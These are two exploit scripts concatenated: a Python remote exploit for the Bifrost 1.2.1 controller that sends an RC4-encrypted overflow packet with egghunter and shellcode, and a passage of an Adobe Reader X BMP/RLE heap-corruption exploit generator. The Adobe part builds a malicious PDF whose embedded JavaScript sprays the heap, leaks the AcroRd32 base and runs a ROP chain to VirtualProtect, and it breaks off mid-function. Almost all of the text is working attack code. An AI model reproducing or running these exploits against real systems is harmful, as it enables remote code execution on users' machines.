#!/usr/bin/python2.7
#By : Mohamed Clay
import socket
from time import sleep
from itertools import izip, cycle
import base64
import sys
 
def rc4crypt(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
     
    return ''.join(out)
 
def bif_len(s):
    while len(s)<8:
         s=s+"00"
    return s
 
def header(s):
      a=(s[0]+s[1]).decode("hex")
      a+=(s[2]+s[3]).decode("hex")
      a+=(s[4]+s[5]).decode("hex")
      a+=(s[5]+s[6]).decode("hex")
      return a
 
def random():    
    a=""
    for i in range(0,8):
        a+="A"*1000+"|"
    return a
 
def usage():
 
   print "\n\n\t***************************"
   print "\t*    By : Mohamed Clay    *"
   print "\t*  Bifrost 1.2.1 Exploit  *"
   print "\t***************************\n"
   print "\t  Usage : ./bifrost1.2.1 host port"
   print "\tExample : ./bifrost1.2.1 192.168.1.10 81\n\n"
 
 
if len(sys.argv)!=3:
    usage()
    exit()
 
HOST=sys.argv[1]
PORT=int(sys.argv[2])
 
key="\xA3\x78\x26\x35\x57\x32\x2D\x60\xB4\x3C\x2A\x5E\x33\x34\x72\x00"
 
xor="\xB2\x9C\x51\xBB" # we need this in order to bypass 0046A03E function
eip="\x53\x93\x3A\x7E" # jmp esp User32.dll
 
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
 
#calc.exe shellcode (badchars "\x00")
 
buf ="\xb8\x75\xd3\x5c\x87\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9"
buf +="\xb1\x33\x31\x43\x12\x83\xeb\xfc\x03\x36\xdd\xbe\x72\x44"
buf +="\x09\xb7\x7d\xb4\xca\xa8\xf4\x51\xfb\xfa\x63\x12\xae\xca"
buf +="\xe0\x76\x43\xa0\xa5\x62\xd0\xc4\x61\x85\x51\x62\x54\xa8"
buf +="\x62\x42\x58\x66\xa0\xc4\x24\x74\xf5\x26\x14\xb7\x08\x26"
buf +="\x51\xa5\xe3\x7a\x0a\xa2\x56\x6b\x3f\xf6\x6a\x8a\xef\x7d"
buf +="\xd2\xf4\x8a\x41\xa7\x4e\x94\x91\x18\xc4\xde\x09\x12\x82"
buf +="\xfe\x28\xf7\xd0\xc3\x63\x7c\x22\xb7\x72\x54\x7a\x38\x45"
buf +="\x98\xd1\x07\x6a\x15\x2b\x4f\x4c\xc6\x5e\xbb\xaf\x7b\x59"
buf +="\x78\xd2\xa7\xec\x9d\x74\x23\x56\x46\x85\xe0\x01\x0d\x89"
buf +="\x4d\x45\x49\x8d\x50\x8a\xe1\xa9\xd9\x2d\x26\x38\x99\x09"
buf +="\xe2\x61\x79\x33\xb3\xcf\x2c\x4c\xa3\xb7\x91\xe8\xaf\x55"
buf +="\xc5\x8b\xed\x33\x18\x19\x88\x7a\x1a\x21\x93\x2c\x73\x10"
buf +="\x18\xa3\x04\xad\xcb\x80\xfb\xe7\x56\xa0\x93\xa1\x02\xf1"
buf +="\xf9\x51\xf9\x35\x04\xd2\x08\xc5\xf3\xca\x78\xc0\xb8\x4c"
buf +="\x90\xb8\xd1\x38\x96\x6f\xd1\x68\xf5\xee\x41\xf0\xd4\x95"
buf +="\xe1\x93\x28"
 
 
raw=(1000-533-len(egghunter))*"\x90"
raw2=(1000-8-len(buf))*"\x41"+"|"
command=30
 
tmp=hex(command).split("0x")[1]
data=tmp.decode("hex")+"F"*2+" "*511+xor+"C"*8+eip+"A"*12+egghunter+raw+"|"+" "*1000+"|"+"w00tw00t"+buf+raw2+random()
out=rc4crypt(data,key)
l=header(bif_len(str(hex(len(data))).split("0x")[1]))
out=l+out
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(out)
print "\n[*] By : Mohamed Clay"
print "[*] Exploit completed\n"

'''
Title: Adobe Reader X BMP/RLE heap corruption
Product: Adobe Reader X
Version: 10.x
Product Homepage: adobe.com
Binary affected: AcroForm.api
Binary Version: 10.1.4.38
Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841
Configuration Requirements
-----------------------------------------
Default configuration.
  
Vulnerability Requirements
-----------------------------------------
None.
  
Vulnerability Description
-----------------------------------------
Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow.
  
  
Vulnerability WorkAround (if possible)
-----------------------------------------
Delete AcroForm.api
'''
from hashlib import md5
import sys, struct
######### Begin of the miniPDF
import zlib
  
#For constructing a minimal pdf file
## PDF REference 3rd edition:: 3.2 Objects
class PDFObject:
    def __init__(self):
        self.n=None
        self.v=None
    def __str__(self):
        raise Exception("Fail")
  
## PDF REference 3rd edition:: 3.2.1 Booleans Objects
class PDFBool(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        if self.s:
            return "true"
        return "false"
  
## PDF REference 3rd edition:: 3.2.2 Numeric Objects
class PDFNum(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "%s"%self.s
  
## PDF REference 3rd edition:: 3.2.3 String Objects
class PDFString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "(%s)"%self.s
  
## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings
class PDFHexString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">"
  
## A convenient type of literal Strings
class PDFOctalString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s="".join(["\\%03o"%ord(c) for c in s])
    def __str__(self):
        return "(%s)"%self.s
  
## PDF REference 3rd edition:: 3.2.4 Name Objects
class PDFName(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "/%s"%self.s
  
## PDF REference 3rd edition:: 3.2.5 Array Objects
class PDFArray(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        assert type(s) == type([])
        self.s=s
    def append(self,o):
        self.s.append(o)
        return self
    def __str__(self):
        return "[%s]"%(" ".join([ o.__str__() for o in self.s]))
  
## PDF REference 3rd edition:: 3.2.6 Dictionary Objects
class PDFDict(PDFObject):
    def __init__(self, d={}):
        PDFObject.__init__(self)
        self.dict = {}
        for k in d:
            self.dict[k]=d[k]
  
    def __iter__(self):
        for k in self.dict.keys():
            yield k
  
    def __iterkeys__(self):
        for k in self.dict.keys():
            yield k
  
    def __getitem__(self, key):
        return self.dict[key]
          
    def add(self,name,obj):
        self.dict[name] = obj
  
    def get(self,name):
        if name in self.dict.keys():
            return self.dict[name]
        else:
            return None
  
    def __str__(self):
        s="<<"
        for name in self.dict:
            s+="%s %s "%(PDFName(name),self.dict[name])
        s+=">>"
        return s
  
## PDF REference 3rd edition:: 3.2.7 Stream Objects
class PDFStream(PDFDict):
    def __init__(self,d={},stream=""):
        PDFDict.__init__(self,d)
        self.stream=stream
        self.filtered=self.stream
        self.add('Length', len(stream))
        self.filters = []
  
    def appendFilter(self, filter):
        self.filters.append(filter)
        self._applyFilters() #yeah every time .. so what!
  
    def _applyFilters(self):
        self.filtered = self.stream
        for f in self.filters:
                self.filtered = f.encode(self.filtered)
        if len(self.filters)>0:
            self.add('Length', len(self.filtered))
            self.add('Filter', PDFArray([f.name for f in self.filters]))
        #Add Filter parameters ?
    def __str__(self):
        self._applyFilters() #yeah every time .. so what!
        s=""
        s+=PDFDict.__str__(self)
        s+="\nstream\n"
        s+=self.filtered
        s+="\nendstream"
        return s
  
## PDF REference 3rd edition:: 3.2.8 Null Object
class PDFNull(PDFObject):
    def __init__(self):
        PDFObject.__init__(self)
  
    def __str__(self):
        return "null"
  
  
## PDF REference 3rd edition:: 3.2.9 Indirect Objects
class UnResolved(PDFObject):
    def __init__(self,n,v):
        PDFObject.__init__(self)
        self.n=n
        self.v=v
    def __str__(self):
        return "UNRESOLVED(%d %d)"%(self.n,self.v)
class PDFRef(PDFObject):
    def __init__(self,obj):
        PDFObject.__init__(self)
        self.obj=[obj]
    def __str__(self):
        if len(self.obj)==0:
            return "null"
        return "%d %d R"%(self.obj[0].n,self.obj[0].v)
  
## PDF REference 3rd edition:: 3.3 Filters
## Example Filter...
class FlateDecode:
    name = PDFName('FlateDecode')
    def __init__(self):
        pass
    def encode(self,stream):
        return zlib.compress(stream)
    def decode(self,stream):
        return zlib.decompress(stream)
  
## PDF REference 3rd edition:: 3.4 File Structure
## Simplest file structure...
class PDFDoc():
    def __init__(self,obfuscate=0):
        self.objs=[]
        self.info=None
        self.root=None
    def setRoot(self,root):
        self.root=root
    def setInfo(self,info):
        self.info=info
    def _add(self,obj):
        if obj.v!=None or obj.n!=None:
            raise Exception("Already added!!!")
        obj.v=0
        obj.n=1+len(self.objs)
        self.objs.append(obj)
    def add(self,obj):
        if type(obj) != type([]):
            self._add(obj);       
        else:
            for o in obj: 
                self._add(o)
    def _header(self):
        return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n"
    def __str__(self):
        doc1 = self._header()
        xref = {}
        for obj in self.objs:
            xref[obj.n] = len(doc1)
            doc1+="%d %d obj\n"%(obj.n,obj.v)
            doc1+=obj.__str__()
            doc1+="\nendobj\n"
        posxref=len(doc1)
        doc1+="xref\n"
        doc1+="0 %d\n"%(len(self.objs)+1)
        doc1+="0000000000 65535 f \n"
        for xr in xref.keys():
            doc1+= "%010d %05d n \n"%(xref[xr],0)
        doc1+="trailer\n"
        trailer =  PDFDict()
        trailer.add("Size",len(self.objs)+1)
        if self.root == None:
            raise Exception("Root not set!")
        trailer.add("Root",PDFRef(self.root))
        if self.info:
            trailer.add("Info",PDFRef(self.info))
        doc1+=trailer.__str__()
        doc1+="\nstartxref\n%d\n"%posxref
        doc1+="%%EOF"
        return doc1
######### End of miniPDF
  
SLIDESIZE=0x12C
  
def mkBMP(payload, exception=True):
    bmp = ''
    #getInfoHeader
    bfType = 0x4d42
    assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp
    bmp += struct.pack('<H', bfType)
  
    bfSize = 0
    bfOffBits = 0
    bmp += struct.pack('<L', bfSize)
    bmp += struct.pack('<H', 0) #Reserved1
    bmp += struct.pack('<H', 0) #Reserved2
    bmp += struct.pack('<L', bfOffBits)
  
  
    biSize = 0x40
    assert not biSize in [0x12]
    bmp += struct.pack('<L', biSize)
  
  
    biHeight = 1
    biWidth = SLIDESIZE  #size of texture structure LFH enabled
    biPlanes = 1
    biBitCount = 8
    biCompression = 1
    biSizeImage = 0
    biXPelsPerMeter = 0
    biYPelsPerMeter = 0
    biClrUsed = 2
    if biClrUsed >0xff:
        raise "BUG!!!!"
  
    biClrImportant = 0
    bmp += struct.pack('<L', biWidth)
    bmp += struct.pack('<L', biHeight)
    bmp += struct.pack('<H', biPlanes)
    bmp += struct.pack('<H', biBitCount)
    bmp += struct.pack('<L', biCompression)
    bmp += struct.pack('<L', biSizeImage)
    bmp += struct.pack('<L', biXPelsPerMeter)
    bmp += struct.pack('<L', biYPelsPerMeter)
    bmp += struct.pack('<L', biClrUsed)
    bmp += struct.pack('<L', biClrImportant)
    bmp += 'A'*(biSize-0x40) #pad
  
    numColors=biClrUsed
    if biClrUsed == 0 or biBitCount < 8:
        numColors = 1<<biBitCount;
  
    bmp += 'RGBA'*(numColors) #pallete
  
    bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff)
  
    #while (len(bmp)+10)%0x400 != 0:
    #    bmp += '\x00\x02\x00\x00'
  
    assert len(payload) < 0x100 and len(payload) >= 3
  
  
    bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00'
    bmp += '\x00'+chr(len(payload))+payload
  
    if len(payload)&1 :
        bmp += 'P'
  
    if exception:
        bmp += '\x00\x02\x00\xff'*10    #getting the pointer outside the texture so it triggers an exception
        bmp += '\x00'+chr(10)+'X'*10
    else:
        bmp += '\x00\x01'
        #'\x04X'*(biWidth+2000)+"\x00\x02"
    return bmp
  
def UEncode(s):
    r = ''
    s += '\x00'*(len(s)%2)
    for i in range(0,len(s),2):
        r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0])
    return r
    r = ''
    for c in s:
        r+= '%%%02x'%ord(c)
    return r
  
  
def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'):
    xdp = '''
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7">
<template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
   <?formServer defaultPDFRenderFormat acrobat9.1static?>
   <?formServer allowRenderCaching 0?>
   <?formServer formModel both?>
   <subform name="form1" layout="tb" locale="en_US" restoreState="auto">
      <pageSet>
         <pageArea name="Page1" id="Page1">
            <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
            <medium stock="default" short="612pt" long="792pt"/>
            <?templateDesigner expand 1?>
         </pageArea>
         <?templateDesigner expand 1?>
      </pageSet>
      <variables>
         <script name="util" contentType="application/x-javascript">
            // Convenience functions to pack and unpack litle endian an utf-16 strings
            function pack(i){
                var low = (i & 0xffff);
                var high = ((i>>16) & 0xffff);
                return String.fromCharCode(low)+String.fromCharCode(high);
            }
            function unpackAt(s, pos){
                return  s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);
            }
            function packs(s){
                result = "";
                for (i=0;i<s.length;i+=2)
                    result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8));
                    return result;
                }
            function packh(s){
                return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16));
                }
            function packhs(s){
                result = "";
                for (i=0;i<s.length;i+=4)
                result += packh(s.slice(i,i+4));
                return result;
            }
            var verbose = 1;
            function message(x){
               if (util.verbose == 1 )
                  xfa.host.messageBox(x);
            }
  
//ROP0
//7201E63D    XCHG EAX,ESP
//7201E63E    RETN
//ROP1
//7200100A    JMP DWORD PTR DS:[KERNEL32.GetModuleHandle]
//ROP2
//7238EF5C    PUSH EAX
//7238EF5D    CALL DWORD PTR DS:[KERNEL32.GetProcAddress]
//7238EF63    TEST EAX,EAX
//7238EF65    JNE SHORT 7238EF84
//7238EF84    POP EBP
//7238EF85    RETN 4
//ROP3
//72001186    JMP EAX       ; kernel32.VirtualProtect
//ROP4
//72242491    ADD ESP,70
//72242494    RETN
  
  
            var _offsets =  {'Reader": { "10.104": {
                                                    "acrord32":    0xA4,
                                                    "rop0":        0x1E63D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x38EF5C,
                                                    "rop3":        0x1186,
                                                    "rop4":        0x242491,
                                                    },
                                          "10.105": { // Added by Eddie Mitchell
                                                    "acrord32":    0xA5,
                                                    "rop0":        0x1E52D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x393526,
                                                    "rop3":        0x1186,
                                                    "rop4":        0x245E71,
                                                    },
                                          "10.106": { // Added by Eddie Mitchell
                                                    "acrord32":    0xA5,
                                                    "rop0":        0x1E52D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x393526,
                                                    "rop3":        0x1186,
                                                    "rop4":        0x245E71,
                                                    },
                                       },
                            "Exchange-Pro": {
                                          "10.105": { // Added by Eddie Mitchell
                                                    "acrobat":    0xCD,
                                                    "rop0":        0x3720D,
                                                    "rop1":        0x100A,
                                                    "rop2":        0x3DCC91,
                                                    "rop3":        0x180F,
                                                    "rop4":        0x25F2A1,
                                                     },
                                             },
                            };
  
            function offset(x){
                //app.viewerType will be "Reader" for Reader,
                //"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro
                try {
                      return _offsets[app.viewerType][app.viewerVersion][x];
                }
                catch (e) {
                   xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!");
                }
                return 0x41414141;
            }
  
         </script>
         <script name="spray" contentType="application/x-javascript">
            // Global variable for spraying
            var slide_size=%%SLIDESIZE%%;
            var size = 200;
            var chunkx = "%%MINICHUNKX%%";
            var x = new Array(size);
            var y = new Array(size);
            var z = new Array(size);
            var pointers = new Array(100);
            var done = 0;
         </script>
         <?templateDesigner expand 1?>
      </variables>
      <subform w="576pt" h="756pt">
         <!-- This image fiel hold the cashing image -->
         <field name="ImageCrash">
            <ui> <imageEdit/> </ui>
            <value>
               <image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image>
            </value>
         </field>
      </subform>
      <event activity="initialize" name="event__initialize">
         <script contentType="application/x-javascript">
            // This script runs at the very beginning and
            // is used to prepare the memory layout
            util.message("Initialize");
            var i; var j;
            if (spray.done == 0){
               //Trigger LFH use
               var TOKEN = "\u5858\u5858\u5678\u1234";
               var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2);
  
               for (i=0; i < spray.size; i+=1)
                  spray.x[i] = TOKEN + util.pack(i) + 
                               spray.chunkx.substring(0, chunk_len) +
                               util.pack(i) + "";
  
               util.message("Initial spray done!");
               for (j=0; j < size; j++)
                  for (i=spray.size-1; i > spray.size/4; i-=10)
                     spray.x[i]=null;
  
               spray.done = 1;
               util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
            }
            // After this the form layout is rendered and the bug triggered
         </script>
      </event>
      <event activity="docReady" ref="$host" name="event__docReady">
         <script contentType="application/x-javascript">
            // This script runs once the page is ready
            util.message("DocReady");
            var i; var j;
            var found = -1;  // Index of the overlapped string
            var acro = 0;    // Base of the AcroRd32_dll
  
            // Search over all strings for the first one with the broken TOKEN
            for (i=0; i < spray.size; i+=1)
               if ((spray.x[i]!=null)  && (spray.x[i][0] != "\u5858")){
                  found = i;
                  acro = (( util.unpackAt(spray.x[i], 14) >> 16) - util.offset("acrord32")) << 16;
                  util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) );
                  break;
               }
            // Behaviour is mostly undefined if not found
            if (found == -1){
               util.message("Corrupted String NOT Found!");
               event.target.closeDoc(true);
            }
  
            // Corrupted string was found let's generates the new
            // string for overlapping the struct before freeing it
            var chunky = "";
            for (i=0; i < 7; i+=1)
               chunky += util.pack(0x41414141);
            chunky += util.pack(0x10101000); 
            while (chunky.length < spray.slide_size/2)
               chunky += util.pack(0x58585858);
  
            // Free the overlapping string
            util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")");
            for (j=0; j < 100000; j++)
               spray.x[found-1]=spray.x[found]=null;
  
            // Trigger several allocs that will fall over the structure
            for (i=0; i < 200; i+=1){
               ID = "" + i;
               spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
            }
            util.message("Allocated 20 chunks-y\\n");
  
            // Heap spraying make's baby jesus cry!
            // Construct the 0x1000 small chunk for spraying
            var obj = 0x10101000;
            var pointer_slide = "";
            pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret
            for (i=0; i < 27; i+=1)
               pointer_slide += util.pack(0x41414141);
            obj += pointer_slide.length*2;
            // ROP
            pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret
            pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule
            pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress
            pointer_slide += util.pack(obj+0xDC);                 //@0x08 point to KERNEL32
            //@0x10
            pointer_slide += util.pack(obj+0xCC);
            pointer_slide += util.pack(0x43434343);               // POPPED TO EBP
            pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX
            pointer_slide += util.pack(obj);                      //Points to offset 0 of this
            //@0x20
            pointer_slide += util.pack(obj+0x38);
            pointer_slide += util.pack(obj+0x38);
            pointer_slide += util.pack(0x1000);       //SIZE_T dwSize,
            pointer_slide += util.pack(0x40);         // DWORD flNewProtect,
            //0x30
            pointer_slide += util.pack(obj+0x34);     //PDWORD lpflOldProtect
            pointer_slide += util.pack(0x00000000);   //DWORD OldProtect
            pointer_slide += util.packhs("E9B1000000909090");
            //0x40
            pointer_slide += util.pack(acro);         //Used by next stage
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x50
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x60
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x70
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0x48484848);
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x49494949);
  
            //0x80
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x50505050);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0x90
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xa0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xb0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xc0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.packs("VirtualProtect"); //@0xCC
            pointer_slide += "\u0000";
            pointer_slide += "KERNEL32";
            pointer_slide += "\u0000";
            pointer_slide += "%%SHELLCODE%%";
            while (pointer_slide.length < 0x1000/2)
               pointer_slide += util.pack(0x41414141);
            pointer_slide = pointer_slide.substring(0,0x1000/2);
            util.message("Pointer slide size: " + pointer_slide.length);
  
            // And now ensure it gets bigger than 0x100000 bytes
            while (pointer_slide.length < 0x100000/2)
               pointer_slide += pointer_slide;
            // And the actual spray
            for (i=0; i < 100; i+=1)
               spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";
  
            // Everything done here close the doc and
            // trigger the use of the vtable
            util.message("Now what?");
            var pdfDoc = event.target;
            pdfDoc.closeDoc(true);
  
            </script>
      </event>
   </subform>
   <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?>
   <?templateDesigner DefaultLanguage JavaScript?>
   <?templateDesigner DefaultRunAt client?>
   <?acrobat JavaScript strictScoping?>
   <?PDFPrintOptions embedViewerPrefs 0?>
   <?PDFPrintOptions embedPrintOnFormOpen 0?>
   <?PDFPrintOptions scalingPrefs 0?>
   <?PDFPrintOptions enforceScalingPrefs 0?>
   <?PDFPrintOptions paperSource 0?>
   <?PDFPrintOptions duplexMode 0?>
   <?templateDesigner DefaultPreviewType interactive?>
   <?templateDesigner DefaultPreviewPagination simplex?>
   <?templateDesigner XDPPreviewFormat 19?>
   <?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
   <?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?>
   <?templateDesigner Zoom 119?>
   <?templateDesigner FormTargetVersion 30?>
   <?templateDesigner SaveTaggedPDF 1?>
   <?templateDesigner SavePDFWithEmbeddedFonts 1?>
   <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template>
<config xmlns="http://www.xfa.org/schema/xci/3.0/">
   <agent name="designer">
      <!--  [0..n]  -->
      <destination>pdf</destination>
      <pdf>
         <!--  [0..n]  -->
         <fontInfo/>
      </pdf>
   </agent>
   <present>
      <!--  [0..n]  -->
      <pdf>
         <!--  [0..n]  -->
         <version>1.7</version>
         <adobeExtensionLevel>5</adobeExtensionLevel>
      </pdf>
      <common/>
      <xdp>
         <packets>*</packets>
      </xdp>
   </present>
</config>
<localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/">
   <locale name="en_US" desc="English (United States)">
      <calendarSymbols name="gregorian">
         <monthNames>
            <month>January</month>
            <month>February</month>
            <month>March</month>
            <month>April</month>
            <month>May</month>
            <month>June</month>
            <month>July</month>
            <month>August</month>
            <month>September</month>
            <month>October</month>
            <month>November</month>
            <month>December</month>
         </monthNames>
         <monthNames abbr="1">
            <month>Jan</month>
            <month>Feb</month>
            <month>Mar</month>
            <month>Apr</month>
            <month>May</month>
            <month>Jun</month>
            <month>Jul</month>
            <month>Aug</month>
            <month>Sep</month>
            <month>Oct</month>
            <month>Nov</month>
            <month>Dec</month>
         </monthNames>
         <dayNames>
            <day>Sunday</day>
            <day>Monday</day>
            <day>Tuesday</day>
            <day>Wednesday</day>
            <day>Thursday</day>
            <day>Friday</day>
            <day>Saturday</day>
         </dayNames>
         <dayNames abbr="1">
            <day>Sun</day>
            <day>Mon</day>
            <day>Tue</day>
            <day>Wed</day>
            <day>Thu</day>
            <day>Fri</day>
            <day>Sat</day>
         </dayNames>
         <meridiemNames>
            <meridiem>AM</meridiem>
            <meridiem>PM</meridiem>
         </meridiemNames>
         <eraNames>
            <era>BC</era>
            <era>AD</era>
         </eraNames>
      </calendarSymbols>
      <datePatterns>
         <datePattern name="full">EEEE, MMMM D, YYYY</datePattern>
         <datePattern name="long">MMMM D, YYYY</datePattern>
         <datePattern name="med">MMM D, YYYY</datePattern>
         <datePattern name="short">M/D/YY</datePattern>
      </datePatterns>
      <timePatterns>
         <timePattern name="full">h:MM:SS A Z</timePattern>
         <timePattern name="long">h:MM:SS A Z</timePattern>
         <timePattern name="med">h:MM:SS A</timePattern>
         <timePattern name="short">h:MM A</timePattern>
      </timePatterns>
      <dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols>
      <numberPatterns>
         <numberPattern name="numeric">z,zz9.zzz</numberPattern>
         <numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern>
         <numberPattern name="percent">z,zz9%</numberPattern>
      </numberPatterns>
      <numberSymbols>
         <numberSymbol name="decimal">.</numberSymbol>
         <numberSymbol name="grouping">,</numberSymbol>
         <numberSymbol name="percent">%</numberSymbol>
         <numberSymbol name="minus">-</numberSymbol>
         <numberSymbol name="zero">0</numberSymbol>
      </numberSymbols>
      <currencySymbols>
         <currencySymbol name="symbol">$</currencySymbol>
         <currencySymbol name="isoname">USD</currencySymbol>
         <currencySymbol name="decimal">.</currencySymbol>
      </currencySymbols>
      <typefaces>
         <typeface name="Myriad Pro"/>
         <typeface name="Minion Pro"/>
         <typeface name="Courier Std"/>
         <typeface name="Adobe Pi Std"/>
         <typeface name="Adobe Hebrew"/>
         <typeface name="Adobe Arabic"/>
         <typeface name="Adobe Thai"/>
         <typeface name="Kozuka Gothic Pro-VI M"/>
         <typeface name="Kozuka Mincho Pro-VI R"/>
         <typeface name="Adobe Ming Std L"/>
         <typeface name="Adobe Song Std L"/>
         <typeface name="Adobe Myungjo Std M"/>
      </typefaces>
   </locale>
   <?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
   <xfa:data xfa:dataNode="dataGroup"/>
</xfa:datasets>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about="">
         <xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate>
         <xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool>
         <xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate>
         <xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate>
      </rdf:Description>
      <rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about="">
         <pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer>
      </rdf:Description>
      <rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about="">
         <xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID>
         <xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID>
      </rdf:Description>
      <rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about="">
         <dc:format>application/pdf</dc:format>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
   <annots/>
</xfdf></xdp:xdp>
    '''
    assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry"
  
    #shellcode
    xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode))
    xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE);
    xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE))
